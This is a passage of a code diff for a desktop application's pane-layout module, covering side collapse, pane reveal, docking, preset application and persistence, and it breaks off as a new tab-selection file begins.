+  const next = toggledSet($collapsedTreeSides.get(), side, collapsed)
+
+  if (next) {
+    $collapsedTreeSides.set(next)
+  }
+
+  // Opening a side is an intent to SEE it — heal any pane of that side that a
+  // stale dismissal record removed from the tree, so ⌘B/⌘J can never press on
+  // nothing. Closing chrome panes is NEVER permanent (main parity).
+  if (!collapsed) {
+    restoreDismissedSidePanes(side)
+  }
+}
+
+/**
+ * Does the layout have a collapsible root side of `side`? ⌘J's normal target is
+ * the right sidebar; a layout without one (e.g. a terminal-on-bottom preset)
+ * lets callers fall back to the terminal so ⌘J is never a dead key. Semantic —
+ * reuses `rootChildSide`, so it tracks a ⌘\ flip / drag like the toggles do.
+ */
+export function layoutHasRootSide(side: TreeSide): boolean {
+  const row = rootRow()
+
+  if (!row) {
+    return false
+  }
+
+  const panes = registry.getArea('panes')
+
+  return row.children.some(child => rootChildSide(child, id => panes.find(p => p.id === id)) === side)
+}
+
+/**
+ * Un-dismiss + re-adopt every registered pane whose placement maps to `side`
+ * (the same semantic mapping as `rootChildSide`: 'left' panes ⇔ ⌘B, everything
+ * else non-main ⇔ ⌘J). Dismissal records for core chrome panes only exist as
+ * legacy state (they all register closers now), but they must not strand the
+ * pane where only a layout reset can recover it.
+ */
+function restoreDismissedSidePanes(side: TreeSide) {
+  const dismissed = $dismissedPanes.get()
+
+  if (dismissed.size === 0) {
+    return
+  }
+
+  let changed = false
+
+  for (const pane of registry.getArea('panes')) {
+    if (!dismissed.has(pane.id)) {
+      continue
+    }
+
+    const placement = (pane.data as { placement?: string } | undefined)?.placement
+    const paneSide = placement === 'left' ? 'left' : placement === 'main' ? null : 'right'
+
+    if (paneSide === side) {
+      setDismissed(pane.id, false)
+      changed = true
+    }
+  }
+
+  if (changed) {
+    adoptContributedPanes()
+  }
+}
+
+/** Bind a side's visibility to an app store (mirror of bindPaneVisibility). */
+export function bindTreeSideVisibility(
+  side: TreeSide,
+  $open: { get(): boolean; listen(fn: (open: boolean) => void): void },
+  setOpen: (open: boolean) => void
+) {
+  sideOpeners[side] = setOpen
+  setTreeSideCollapsed(side, !$open.get())
+  $open.listen(open => setTreeSideCollapsed(side, !open))
+}
+
+/** The chrome toggle owning `paneId`'s root-row column — SEMANTIC, matching
+ *  the renderer's `rootChildSide`: ⌘B ⇔ the sessions column (left-placement
+ *  panes) wherever it sits, ⌘J ⇔ the other side columns. Null for the main
+ *  column (never side-collapsed). */
+export function treeSideOfPane(paneId: string): TreeSide | null {
+  const row = rootRow()
+
+  if (!row) {
+    return null
+  }
+
+  const child = row.children.find(node => allPaneIds(node).includes(paneId))
+
+  if (!child) {
+    return null
+  }
+
+  const placementOf = (id: string) =>
+    (registry.getArea('panes').find(c => c.id === id)?.data as { placement?: string } | undefined)?.placement
+
+  const placements = allPaneIds(child).map(placementOf)
+
+  if (placements.includes('main')) {
+    return null
+  }
+
+  return placements.includes('left') ? 'left' : 'right'
+}
+
+/**
+ * App intent "show pane X" (a preview target landed, ⌘G opened review, …):
+ * open its side, unhide it, and bring it to the front of its group.
+ */
+export function revealTreePane(paneId: string) {
+  // Reveal beats a Close: un-dismiss and let adoption put the pane back.
+  if ($dismissedPanes.get().has(paneId)) {
+    setDismissed(paneId, false)
+    adoptContributedPanes()
+  }
+
+  const side = treeSideOfPane(paneId)
+
+  if (side && $collapsedTreeSides.get().has(side)) {
+    // Un-collapse the COLUMN, never the side's bound store: on the right that
+    // store is ⌘J / $fileBrowserOpen, i.e. the file tree's own toggle. Routing
+    // a reveal through it dragged the tree open behind every neighbour that
+    // shares the column — open the diff (⌘G) and the file tree appeared too.
+    // The tree opens only when the user opens it.
+    setTreeSideCollapsed(side, false)
+  }
+
+  const hiddenNow = $hiddenTreePanes.get()
+
+  if (hiddenNow.has(paneId)) {
+    setTreePaneHidden(paneId, false)
+
+    return
+  }
+
+  const tree = $layoutTree.get()
+  const group = tree ? findGroupOfPane(tree, paneId) : null
+
+  if (tree && group) {
+    // A minimized zone must be restored — "reveal" means show the pane, not
+    // just front its tab behind a collapsed rail. Without this, a tool panel
+    // (terminal/logs) in a shared zone stays minimized after its toggle opens
+    // it: setPaneCollapsed's shared-zone branch calls revealTreePane instead
+    // of setTreeGroupMinimized, so the zone never un-minimizes and the
+    // pane appears to "close but not open" on ctrl-` / tab click.
+    let next = tree
+
+    if (group.minimized) {
+      next = setGroupMinimized(next, group.id, false)
+    }
+
+    if (group.active !== paneId) {
+      next = setActivePaneOp(next, group.id, paneId)
+    }
+
+    if (next !== tree) {
+      commit(next)
+    }
+  }
+}
+
+/**
+ * Narrow viewport (the app's sidebar-collapse breakpoint): panes whose
+ * contribution declares `collapsible: true` leave the grid and become
+ * edge overlays (see NarrowOverlays in renderer.tsx).
+ */
+// Optional-chained + `typeof window` guarded like every other matchMedia call
+// site: this module is imported by non-DOM code paths (session actions) whose
+// test env has no `window`/`matchMedia` — an unguarded call throws at load.
+const narrowQuery = typeof window !== 'undefined' ? window.matchMedia?.(SIDEBAR_COLLAPSE_MEDIA_QUERY) : undefined
+
+export const $narrowViewport = atom(Boolean(narrowQuery?.matches))
+
+narrowQuery?.addEventListener('change', event => $narrowViewport.set(event.matches))
+
+/** The titlebar flip toggle (⌘\): mirror the whole layout left↔right. */
+export function mirrorLayoutTree() {
+  const tree = $layoutTree.get()
+
+  if (tree) {
+    commit(mirrorTreeHorizontal(tree))
+  }
+}
+
+export interface DropHint {
+  kind: 'group'
+  /** The zone a drop will land in (ClosestCenter among `groupIds`). */
+  groupId?: string
+  /** Full highlighted set (multi-zone when Shift extends the range). */
+  groupIds?: string[]
+  pos?: DropPosition
+  /** Hovering the target's TAB STRIP: the drop stacks at a specific slot —
+   *  before this pane id, or at the end (`before: null`). The strip renders
+   *  the insertion divider; the zone sheet stands down. */
+  stack?: { before: null | string }
+}
+
+/** Live drop target under the pointer while dragging. */
+export const $dropHint = atom<DropHint | null>(null)
+
+/**
+ * Derived session-drag booleans for HEAVY subscribers (the chat surfaces).
+ * `$dropHint` churns on every pointer-crossing during ANY drag; a chat surface
+ * subscribing to it raw re-renders its whole thread per hint change. These
+ * computeds collapse the churn to booleans that only notify on actual flips —
+ * and stay `false` throughout pane/tab drags, which chat never cares about.
+ */
+export const $sessionTileDragging = computed($treeDragging, dragging => dragging === SESSION_TILE_DRAG)
+
+/** True while a session drag aims at a zone EDGE (a tile split) or a tab
+ *  strip (a stack) — the moments the chat surfaces' "link to chat" overlay
+ *  must stand down. */
+export const $sessionTileEdgeHover = computed(
+  [$treeDragging, $dropHint],
+  (dragging, hint) =>
+    dragging === SESSION_TILE_DRAG && ((hint?.pos !== undefined && hint.pos !== 'center') || hint?.stack !== undefined)
+)
+
+/**
+ * Adopt panes present in `source` but missing from `target`: each joins the
+ * group its source siblings map to in the target (first group as a last
+ * resort). Layout changes never lose panes.
+ */
+function adoptMissingPanes(target: LayoutNode, source: LayoutNode): LayoutNode {
+  const have = new Set(allPaneIds(target))
+  let next = target
+
+  for (const paneId of allPaneIds(source)) {
+    if (have.has(paneId)) {
+      continue
+    }
+
+    const sibling = findGroupOfPane(source, paneId)?.panes.find(p => have.has(p))
+    const targetId = (sibling ? findGroupOfPane(next, sibling)?.id : undefined) ?? groupLeafIds(next)[0]
+
+    if (targetId) {
+      // Silent adoption: don't steal the target zone's active tab (logs).
+      next = insertAtGroup(next, targetId, paneId, 'center', null, false) ?? next
+      have.add(paneId)
+    }
+  }
+
+  return next
+}
+
+/**
+ * Declare the app's default tree. Adopted immediately when the user has no
+ * persisted customization; a persisted tree from an older default adopts any
+ * panes it's missing.
+ */
+export function declareDefaultTree(tree: LayoutNode) {
+  defaultTree = tree
+  const current = $layoutTree.get()
+
+  if (!current) {
+    $layoutTree.set(tree)
+
+    return
+  }
+
+  const next = adoptMissingPanes(current, tree)
+
+  if (next !== current) {
+    commit(next)
+  }
+}
+
+/**
+ * LIVE pane adoption — a `panes` contribution that isn't in the tree yet
+ * (a plugin registered after boot, incl. runtime-loaded ones) joins the
+ * tree via the SAME primitive a human drag/drop commits with
+ * (`insertAtGroup`: anchor group + side). The pane's data supplies the
+ * gesture:
+ *
+ *  - `dock: { pane, pos }` — "drop me on that edge of that pane". Any pane,
+ *    any side, exactly what the drop chips do.
+ *  - otherwise the semantic `placement` role infers the anchor: stack with
+ *    a settled pane of the same placement, main zone as last resort.
+ *
+ * Happens once per pane lifetime (the committed tree remembers it across
+ * boots), so user rearrangement wins from then on and plugin reloads keep
+ * the pane where the user left it.
+ */
+interface PaneDockHint {
+  pane: string
+  pos: DropPosition
+  /** Center docks: stack BEFORE this pane id (the strip divider's slot). */
+  before?: null | string
+}
+
+function adoptContributedPanes(): void {
+  const tree = $layoutTree.get()
+
+  if (!tree) {
+    return
+  }
+
+  const panes = registry.getArea('panes')
+
+  const dataOf = (paneId: string) =>
+    panes.find(c => c.id === paneId)?.data as { placement?: string; dock?: PaneDockHint } | undefined
+
+  const placementOf = (paneId: string) => dataOf(paneId)?.placement
+  const mainId = panes.find(c => placementOf(c.id) === 'main')?.id
+  const inTree = new Set(allPaneIds(tree))
+
+  // Plugin panes are never dismissed anymore (Close disables the plugin
+  // instead) — drop stale entries so panes stranded by the old behavior
+  // re-adopt on their own.
+  for (const pane of panes) {
+    if (pane.source?.startsWith('plugin:') && $dismissedPanes.get().has(pane.id)) {
+      setDismissed(pane.id, false)
+    }
+  }
+
+  const dismissed = $dismissedPanes.get()
+
+  // `placement: 'floating'` opts OUT of the tree entirely — those panes render
+  // as fixed cards above it (renderer/floating-panes.tsx). Adopting one would
+  // turn it into a track that steals width from a zone, which is the whole
+  // thing floating exists to avoid.
+  const missing = panes.filter(
+    c => !inTree.has(c.id) && !dismissed.has(c.id) && placementOf(c.id) !== FLOATING_PLACEMENT
+  )
+
+  if (missing.length === 0) {
+    return
+  }
+
+  let next = tree
+
+  for (const pane of missing) {
+    const dock = dataOf(pane.id)?.dock
+    const placement = placementOf(pane.id) ?? 'right'
+
+    const anchor =
+      (dock && allPaneIds(next).includes(dock.pane) ? dock.pane : undefined) ??
+      allPaneIds(next).find(id => id !== pane.id && placementOf(id) === placement) ??
+      mainId
+
+    const target = findGroupOfPane(next, anchor ?? '')?.id
+
+    if (target) {
+      // Whether the DESTINATION zone's header was explicitly hidden, read
+      // BEFORE the insert — `insertAtGroup` pins `headerHidden: false` on a
+      // center drop (a stack you can't see is a trap), which is right for a
+      // drag but wrong for adoption into a zone whose bar the user hid.
+      const hostHeaderHidden = findGroup(next, target)?.headerHidden === true
+
+      // Silent adoption: don't front over the zone's active tab — a reveal does.
+      next = insertAtGroup(next, target, pane.id, dock?.pos ?? 'center', dock?.before, false) ?? next
+
+      // An adopted pane ARRIVES with its chip showing — a surprise zone with
+      // zero chrome has no obvious handle to drag or close. (Explicit reveal;
+      // the next structural op returns lone panes to the auto-hide default.)
+      //
+      // EXCEPT into a zone whose header the user explicitly hid: that's a
+      // standing preference about the zone, not a stale default. Without this
+      // the bar came back every time a tool panel was closed and toggled on
+      // again — Close dismisses the pane, the toggle re-adopts it through here.
+      const landed = findGroupOfPane(next, pane.id)
+
+      if (landed) {
+        next = setGroupHeaderHiddenOp(next, landed.id, hostHeaderHidden)
+      }
+    }
+  }
+
+  if (next !== tree) {
+    commit(next)
+  }
+}
+
+/** Adopt now + on every registry change (call once from the app root). */
+export function watchContributedPanes(): void {
+  adoptContributedPanes()
+  registry.subscribe(adoptContributedPanes)
+}
+
+function commit(next: LayoutNode | null) {
+  if (!next) {
+    return
+  }
+
+  $layoutTree.set(next)
+  persist(next)
+}
+
+// ---------------------------------------------------------------------------
+// USER-PLACED panes — "their spot wins". A pane the user has explicitly
+// dragged (zone move / span / zone-menu split) keeps that placement; auto-
+// docking (dockPaneBeside) only steers panes the user hasn't touched.
+// Presets and resets hand placement back to the app.
+// ---------------------------------------------------------------------------
+
+const USER_PLACED_KEY = 'clawcodex.desktop.userPlacedPanes.v1'
+
+export const $userPlacedPanes = atom<ReadonlySet<string>>(new Set(readJson<string[]>(USER_PLACED_KEY) ?? []))
+
+function saveUserPlaced(next: ReadonlySet<string>) {
+  $userPlacedPanes.set(next)
+  writeJson(USER_PLACED_KEY, next.size === 0 ? null : [...next])
+}
+
+function markPaneUserPlaced(paneId: string) {
+  const next = toggledSet($userPlacedPanes.get(), paneId, true)
+
+  if (next) {
+    saveUserPlaced(next)
+  }
+}
+
+/**
+ * Dock `paneId` directly beside `anchorPaneId` — the "preview opens NEXT TO
+ * the file tree" contract, position-aware: wherever the anchor lives (default
+ * rail, flipped via ⌘\, dragged into a stack, tabbed into main), the pane
+ * lands adjacent to it. Side rule: an anchor sitting right of the main zone
+ * gets the pane on its LEFT (the rail slides open toward the chat — main
+ * parity); an anchor left of main, stacked with it, or anywhere else gets it
+ * on the RIGHT. Skipped when the USER has placed the pane themselves, or the
+ * anchor isn't visible. Idempotent — a pane already beside its anchor is a
+ * shape no-op.
+ */
+export function dockPaneBeside(paneId: string, anchorPaneId: string) {
+  const tree = $layoutTree.get()
+
+  if (!tree || $userPlacedPanes.get().has(paneId)) {
+    return
+  }
+
+  const panes = registry.getArea('panes')
+  const anchor = findGroupOfPane(tree, anchorPaneId)
+
+  // Anchor must be a live, shown pane — never dock beside a hidden file tree.
+  if (!anchor || $hiddenTreePanes.get().has(anchorPaneId) || !panes.some(c => c.id === anchorPaneId)) {
+    return
+  }
+
+  // The uncloseable main workspace (session tiles are placement:'main' too,
+  // but closeable, so the uncloseable flag disambiguates).
+  const mainId = panes.find(c => {
+    const data = c.data as { placement?: string; uncloseable?: boolean } | undefined
+
+    return data?.placement === 'main' && data.uncloseable
+  })?.id
+
+  const order = allPaneIds(tree)
+
+  const anchorRightOfMain =
+    !!mainId && !anchor.panes.includes(mainId) && order.indexOf(anchorPaneId) > order.indexOf(mainId)
+
+  const pos: DropPosition = anchorRightOfMain ? 'left' : 'right'
+
+  // A dismissed pane re-enters HERE (beside the anchor), not via adoption's
+  // placement fallback — clear the record so the two never disagree.
+  if ($dismissedPanes.get().has(paneId)) {
+    setDismissed(paneId, false)
+  }
+
+  const next = findGroupOfPane(tree, paneId)
+    ? movePaneOp(tree, paneId, { groupId: anchor.id, pos })
+    : insertAtGroup(tree, anchor.id, paneId, pos)
+
+  if (next && next !== tree) {
+    commit(next)
+  }
+}
+
+export function moveTreePane(paneId: string, target: { groupId: string; pos: DropPosition; before?: null | string }) {
+  const tree = $layoutTree.get()
+
+  if (!tree) {
+    return
+  }
+
+  const next = movePaneOp(tree, paneId, target)
+
+  // movePane returns the SAME root for no-op drops ("stays here") — only a
+  // real move customizes the preset or pins the pane as user-placed.
+  if (next !== tree) {
+    commit(next)
+    markActivePreset('custom')
+    markPaneUserPlaced(paneId)
+  }
+}
+
+/**
+ * Replace the whole tree (preset application). Panes living in the CURRENT
+ * tree that the preset doesn't know about (e.g. plugin panes vs a bundled
+ * preset) are adopted into the group their current siblings land in, so
+ * applying a preset never loses a pane.
+ */
+export function applyTree(tree: LayoutNode, presetId: string) {
+  const previous = $layoutTree.get()
+
+  // A preset defines the layout's SIZES too — stale drag overrides from the
+  // previous arrangement would distort it. Same for user-placed pins: picking
+  // a layout hands pane placement back to the app (auto-docking resumes).
+  clearAllPaneSizeOverrides()
+  saveUserPlaced(new Set())
+  commit(previous ? adoptMissingPanes(tree, previous) : tree)
+  markActivePreset(presetId)
+
+  // Picking a named layout is an intent to SEE its panes. Toggle-gated panes
+  // (the terminal, whose visibility a store owns) would otherwise stay
+  // collapsed after the tree changes — so reveal the ones that opt in through
+  // their owning store, keeping the ⌃`/toggle state truthful. Iterate the
+  // preset's DECLARED panes (not the adopted result) so only panes a preset
+  // explicitly places are turned on.
+  const panes = registry.getArea('panes')
+
+  for (const paneId of allPaneIds(tree)) {
+    const data = panes.find(c => c.id === paneId)?.data as { revealOnPreset?: boolean } | undefined
+
+    if (data?.revealOnPreset) {
+      paneOpeners[paneId]?.()
+    }
+  }
+}
+
+/**
+ * Move a multi-tab SELECTION in one commit (drag any selected tab): the lead
+ * pane takes the drop geometry, the rest stack in behind it in strip order,
+ * and `activeId` (the pressed tab) fronts in the landing group.
+ */
+export function moveTreePanes(
+  paneIds: readonly string[],
+  target: { groupId: string; pos: DropPosition; before?: null | string },
+  activeId?: string
+) {
+  const tree = $layoutTree.get()
+
+  if (!tree) {
+    return
+  }
+
+  const next = movePanesOp(tree, paneIds, target, activeId)
+
+  if (next !== tree) {
+    commit(next)
+    markActivePreset('custom')
+
+    for (const paneId of paneIds) {
+      markPaneUserPlaced(paneId)
+    }
+  }
+}
+
+/**
+ * Shift-drag span: merge the highlighted zones into one holding `paneId`. Falls
+ * back to a single-zone move at `fallbackGroupId` when the set can't merge
+ * (non-rectangular selection).
+ */
+export function mergeTreeZones(groupIds: string[], paneId: string | readonly string[], fallbackGroupId: null | string) {
+  const tree = $layoutTree.get()
+
+  if (!tree) {
+    return
+  }
+
+  const paneIds = typeof paneId === 'string' ? [paneId] : paneId
+  const merged = mergeZonesWithPaneOp(tree, groupIds, paneId)
+
+  if (merged) {
+    commit(merged)
+    markActivePreset('custom')
+
+    for (const id of paneIds) {
+      markPaneUserPlaced(id)
+    }
+  } else if (fallbackGroupId) {
+    moveTreePanes(paneIds, { groupId: fallbackGroupId, pos: 'center' })
+  }
+}
+
+export function activateTreePane(groupId: string, paneId: string) {
+  const tree = $layoutTree.get()
+
+  if (tree) {
+    commit(setActivePaneOp(tree, groupId, paneId))
+  }
+}
+
+/** Reorder a tab block (multi-tab selection, or a single tab) within its
+ *  group's strip — the block keeps its own order. */
+export function reorderTreePanes(groupId: string, paneIds: readonly string[], toIndex: number) {
+  const tree = $layoutTree.get()
+
+  if (tree) {
+    commit(reorderPanesInGroupOp(tree, groupId, paneIds, toIndex))
+    markActivePreset('custom')
+  }
+}
+
+export function setTreeGroupMinimized(groupId: string, minimized: boolean) {
+  const tree = $layoutTree.get()
+
+  if (tree) {
+    commit(setGroupMinimized(tree, groupId, minimized))
+  }
+}
+
+/** The group hosting `paneId`, or null. */
+function paneGroup(paneId: string) {
+  const tree = $layoutTree.get()
+
+  return tree ? findGroupOfPane(tree, paneId) : null
+}
+
+/** Collapse/restore a pane's ZONE to a minimized rail — its tab stays visible.
+ *  Store-driven (one-way): a tool panel's $open store mirrors here via
+ *  bindPaneCollapse, so a toggle collapses rather than hides. */
+export function setPaneCollapsed(paneId: string, collapsed: boolean) {
+  const group = paneGroup(paneId)
+
+  if (!group) {
+    return
+  }
+
+  // SHARED zone (terminal + logs, or a tool panel stacked with the workspace):
+  // one minimized flag but per-pane toggle stores — so "collapsed" is the
+  // ZONE's. Open → reveal + front; close acts ONLY for the on-screen tab. An
+  // inactive toggle folding its visible sibling is what re-collapsed the zone
+  // on every boot (broke collapse persistence).
+  if (group.panes.length > 1) {
+    if (collapsed && group.active === paneId) {
+      if (group.panes.some(isUncloseablePane)) {
+        // Workspace can't minimize (strands the app) → hand the active slot to
+        // the uncloseable (workspace) pane rather than an arbitrary adjacent
+        // sibling. [workspace, files, review, terminal] with the terminal
+        // active must land on workspace (New Session semantics), not on review
+        // via `panes[at - 1]` — which left the user stranded on a tool pane
+        // and (before the overlay fix) the terminal visually foreground.
+        const anchor = group.panes.find(isUncloseablePane)
+        const at = group.panes.indexOf(paneId)
+
+        if (anchor && anchor !== paneId) {
+          activateTreePane(group.id, anchor)
+        } else {
+          // Defensive: collapsing the uncloseable pane itself (never bound to
+          // a tool toggle store) — fall back to the sibling.
+          activateTreePane(group.id, group.panes[at - 1] ?? group.panes[at + 1])
+        }
+      } else {
+        setTreeGroupMinimized(group.id, true) // pure tool zone folds as a unit
+      }
+    } else if (!collapsed) {
+      revealTreePane(paneId)
+    }
+
+    return
+  }
+
+  if (Boolean(group.minimized) !== collapsed) {
+    setTreeGroupMinimized(group.id, collapsed)
+
+    if (!collapsed) {
+      revealTreePane(paneId)
+    }
+  }
+}
+
+/** Restore a minimized tool pane the truthful way — through its store opener
+ *  when bound (keeps ⌃`/titlebar toggles in sync), then reveal regardless.
+ *  Used by the rail (tab / whole-rail click), the header chevron, and ⌃`.
+ *
+ *  The opener is fire-and-forget because it may be a NO-OP: the store can
+ *  already be `true` while the pane is off screen (the zone was minimized from
+ *  the zone menu, the tab was closed with ⌘W, or a stacked sibling holds the
+ *  active slot). nanostores don't fire listeners on a same-value `.set()`, so
+ *  the bindPaneCollapse listener never runs. `revealTreePane` is idempotent and
+ *  does the real work — un-dismiss, un-collapse the side, un-minimize, front. */
+export function restoreTreePane(paneId: string) {
+  paneOpeners[paneId]?.()
+  revealTreePane(paneId)
+}
+
+/** Is a pane actually ON SCREEN? In the tree, not dismissed, not chrome
+ *  hidden, its zone un-minimized, and holding its stack's active slot.
+ *  True for every pane class — tool panels and hide-style panes alike. */
+export function isPaneVisible(paneId: string): boolean {
+  if ($dismissedPanes.get().has(paneId) || $hiddenTreePanes.get().has(paneId)) {
+    return false
+  }
+
+  const group = paneGroup(paneId)
+
+  return Boolean(group && !group.minimized && group.active === paneId)
+}
+
+const paneVisibleCache = new Map<string, ReadableAtom<boolean>>()
+
+/** Reactive `isPaneVisible` for chrome that renders an on/off affordance
+ *  (the statusbar's terminal button). Memoized per pane id so `useStore`
+ *  subscriptions stay referentially stable across renders. */
+export function $paneVisible(paneId: string): ReadableAtom<boolean> {
+  let cached = paneVisibleCache.get(paneId)
+
+  if (!cached) {
+    cached = computed([$layoutTree, $dismissedPanes, $hiddenTreePanes], () => isPaneVisible(paneId))
+    paneVisibleCache.set(paneId, cached)
+  }
+
+  return cached
+}
+
+/**
+ * HIDE-STYLE PANES (files, review, preview): bind a pane's visibility STORE to
+ * the tree so its toggle HIDES the pane — its zone collapses while the content
+ * stays mounted — as opposed to the tool panels, which collapse to a rail and
+ * keep their tab.
+ *
+ * `close` and `open` are a PAIR, and passing only one is the bug this exists to
+ * prevent. The closer keeps the toggle truthful when the pane is closed from
+ * the tab menu; the opener is its mirror, so anything that shows the pane
+ * through the tree — a reveal, a preset, the toggle's own un-hide path — writes
+ * the store too. With a closer and no opener the boolean goes stale the moment
+ * something other than the toggle reveals the pane, and the next press spends
+ * itself re-asserting a value it already held.
+ */
+export function bindPaneVisibility(
+  paneId: string,
+  $open: { get(): boolean; listen(fn: (open: boolean) => void): void },
+  close?: () => void,
+  open?: () => void
+) {
+  setTreePaneHidden(paneId, !$open.get())
+  $open.listen(isOpen => setTreePaneHidden(paneId, !isOpen))
+
+  if (close) {
+    registerPaneCloser(paneId, close)
+  }
+
+  if (open) {
+    registerPaneOpener(paneId, open)
+  }
+}
+
+/**
+ * TOOL PANELS (terminal, logs): bind a pane's visibility STORE to the tree so
+ * its toggle COLLAPSES the zone to a persistent rail (the tab stays) instead of
+ * hiding it — the IntelliJ/VS-Code tool-window model. Restore routes back
+ * through `open` (rail click / chevron) so ⌃` and the statusbar button stay
+ * truthful; Close removes the tab.
+ *
+ * OPEN goes through `revealTreePane`, not `setPaneCollapsed`: Close DISMISSES
+ * the pane, and `setPaneCollapsed` is a no-op on a pane that has left the tree,
+ * so the toggle would flip its store with nothing coming back. `revealTreePane`
+ * un-dismisses and re-adopts.
+ *
+ * BOOT ONLY COLLAPSES — it must never reveal. `setPaneCollapsed(id, false)`
+ * fronts the pane in its stack, so binding two tool panels that are both "open"
+ * let the second one steal the active tab from the persisted tree. With
+ * terminal+logs stacked (what you get by dragging the terminal to the bottom),
+ * logs bound last and won the slot; ⌃` then asked to collapse a terminal that
+ * wasn't the active tab, the shared-zone branch declined, and the key read as
+ * dead until the stack was broken up. The persisted tree already records which
+ * tab was active — leave it alone.
+ */
+export function bindToolPaneCollapse(
+  paneId: string,
+  $open: { get(): boolean; listen(fn: (open: boolean) => void): void },
+  close: () => void,
+  open: () => void
+) {
+  markCollapsePane(paneId)
+
+  if (!$open.get()) {
+    setPaneCollapsed(paneId, true)
+  }
+
+  $open.listen(isOpen => (isOpen ? revealTreePane(paneId) : setPaneCollapsed(paneId, true)))
+  registerPaneCloser(paneId, close)
+  registerPaneOpener(paneId, open)
+}
+
+/**
+ * EVERY pane toggle: ⌃`, ⌘G, the statusbar button, the ⌘K rows. ONE resolver
+ * for "flip this pane", derived from what is on screen rather than from the
+ * toggle's own boolean.
+ *
+ * A free-floating `!$open.get()` diverges from the tree the moment anything
+ * else moves the pane — stacked behind a sibling tab, minimized from the zone
+ * menu, closed with ⌘W — and then the toggle spends its press re-asserting a
+ * value the store already held, which reads as a dead key. Asking the tree
+ * instead means the first press always does the visible thing.
+ *
+ * This is not a tool-panel quirk. The hide-style panes (files, review) had it
+ * too: `setTreePaneHidden(id, false)` deliberately does NOT front or
+ * un-minimize, because reactive unhides (a cwd arriving) must not clobber what
+ * the user is looking at. Correct for a reactive change, useless for a
+ * keypress — so user intent routes here and reactive bindings keep the quiet
+ * path.
+ *
+ * Close goes through `closeTreePane` so each pane keeps its own semantics: a
+ * tool panel collapses to its rail, files/review close through their store,
+ * anything else is dismissed.
+ */
+export function togglePaneVisible(paneId: string) {
+  if (isPaneVisible(paneId)) {
+    closeTreePane(paneId)
+  } else {
+    restoreTreePane(paneId)
+  }
+}
+
+/** Collapse a tool pane through its store closer (truthful), else minimize the
+ *  zone directly. Gated on isCollapsePane so a non-tool pane's closer (a tile's
+ *  REMOVES it) is never mistaken for a collapse. */
+export function collapseTreePane(paneId: string) {
+  const close = paneClosers[paneId]
+
+  if (isCollapsePane(paneId) && close) {
+    close()
+
+    return
+  }
+
+  const group = paneGroup(paneId)
+
+  if (group) {
+    setTreeGroupMinimized(group.id, true)
+  }
+}
+
+/** Hide/show a zone's header entirely (double-click gesture). */
+export function setTreeGroupHeaderHidden(groupId: string, headerHidden: boolean) {
+  const tree = $layoutTree.get()
+
+  if (tree) {
+    commit(setGroupHeaderHiddenOp(tree, groupId, headerHidden))
+  }
+}
+
+export function setTreeSplitWeights(splitId: string, weights: number[]) {
+  const tree = $layoutTree.get()
+
+  if (tree) {
+    // Weight drags are high-frequency: update live, persist on the trailing edge.
+    $layoutTree.set(setSplitWeightsOp(tree, splitId, weights))
+  }
+}
+
+function findSplitWeights(node: LayoutNode, splitId: string): number[] | null {
+  if (node.type !== 'split') {
+    return null
+  }
+
+  if (node.id === splitId) {
+    return node.weights
+  }
+
+  for (const child of node.children) {
+    const hit = findSplitWeights(child, splitId)
+
+    if (hit) {
+      return hit
+    }
+  }
+
+  return null
+}
+
+/**
+ * The weights a layout preset declares for `splitId` — the ACTIVE preset
+ * first, then any other preset that knows the id. (Rearranging panes marks
+ * the active preset 'custom' but zone STRUCTURE — and so split ids — comes
+ * from whichever preset was applied, so the original baseline stays
+ * findable.) Null when no preset has a matching-shape split.
+ */
+export function presetSplitWeights(splitId: string, length: number): number[] | null {
+  const activeId = $activePresetId.get()
+  const presets = [...registry.getArea('layouts')].sort((a, b) => Number(b.id === activeId) - Number(a.id === activeId))
+
+  for (const preset of presets) {
+    const weights = preset.data && isLayoutNode(preset.data) ? findSplitWeights(preset.data, splitId) : null
+
+    if (weights && weights.length === length) {
+      return [...weights]
+    }
+  }
+
+  return null
+}
+
+export function persistTree() {
+  persist($layoutTree.get())
+}
+
+export function resetLayoutTree() {
+  persist(null)
+  clearAllPaneSizeOverrides()
+  // Reset restores EVERYTHING — closed panes included — and hands pane
+  // placement back to the app (user-placed pins cleared).
+  saveDismissed(new Set())
+  saveUserPlaced(new Set())
+  $layoutTree.set(defaultTree)
+  markActivePreset('default')
+  // Owners PRE-PLACE their panes into the fresh default (session tiles stack
+  // into main as tabs) FIRST, so generic adoption sees them already in-tree
+  // and never scatters them to their old edges.
+  resetHandlers.forEach(fn => fn())
+  // Everything still missing (plugin panes) adopts by placement.
+  adoptContributedPanes()
+
+  // "Restore everything" includes collapsed SIDES: reopen every bound side
+  // (through its store, so $sidebarOpen / the toggles stay truthful). Without
+  // this a sidebar hidden before the reset silently survives it, flipping the
+  // next ⌘B into a SHOW — so hiding never appears to persist.
+  for (const side of Object.keys(sideOpeners) as TreeSide[]) {
+    sideOpeners[side]?.(true)
+  }
+}
+
+// Dev hook for automation.
+if ((import.meta.env.DEV || import.meta.env.VITE_PERF_PROBE === '1') && typeof window !== 'undefined') {
+  ;(window as unknown as Record<string, unknown>).__CLAWCODEX_LAYOUT_TREE__ = {
+    close: closeTreePane,
+    dismissed: () => $dismissedPanes.get(),
+    get: () => $layoutTree.get(),
+    move: moveTreePane,
+    registry,
+    reset: resetLayoutTree,
+    reveal: revealTreePane
+  }
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/tab-selection.ts b/ui-desktop/src/components/pane-shell/tree/tab-selection.ts
new file mode 100644
index 000000000..9653468dd
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/tab-selection.ts
@@ -0,0 +1,99 @@
+/**
+ * Multi-tab selection on a zone's tab strip — Chrome's tab-selection grammar:
+ *
+ *   - ⌥-click (Ctrl-click off-Mac)  → toggle the tab in/out of the selection;
+ *   - Shift-click                   → select the range from the anchor
+ *                                     (the last explicitly clicked tab, else
+ *                                     the active one) to the clicked tab;
+ *   - plain click                   → collapse back to a single tab.
+ *
+ * ⌘-click stays CLOSE (middle-click.ts) and ⌃-click stays the macOS context
+ * menu, so the toggle chord is ⌥ on Mac / Ctrl elsewhere. One selection at a
+ * time, scoped to one zone — dragging any selected tab carries the whole set
+ * (drag-session resolves it), and ids are validated against the strip's
+ * current tabs at use time, so closed/moved panes fall out on their own.
+ */
+
+import { atom } from 'nanostores'
+
+export interface TabSelection {
+  groupId: string
+  ids: ReadonlySet<string>
+  /** Range anchor: the last explicitly clicked tab (Chrome semantics). */
+  anchor: string
+}
+
+export const $tabSelection = atom<null | TabSelection>(null)
+
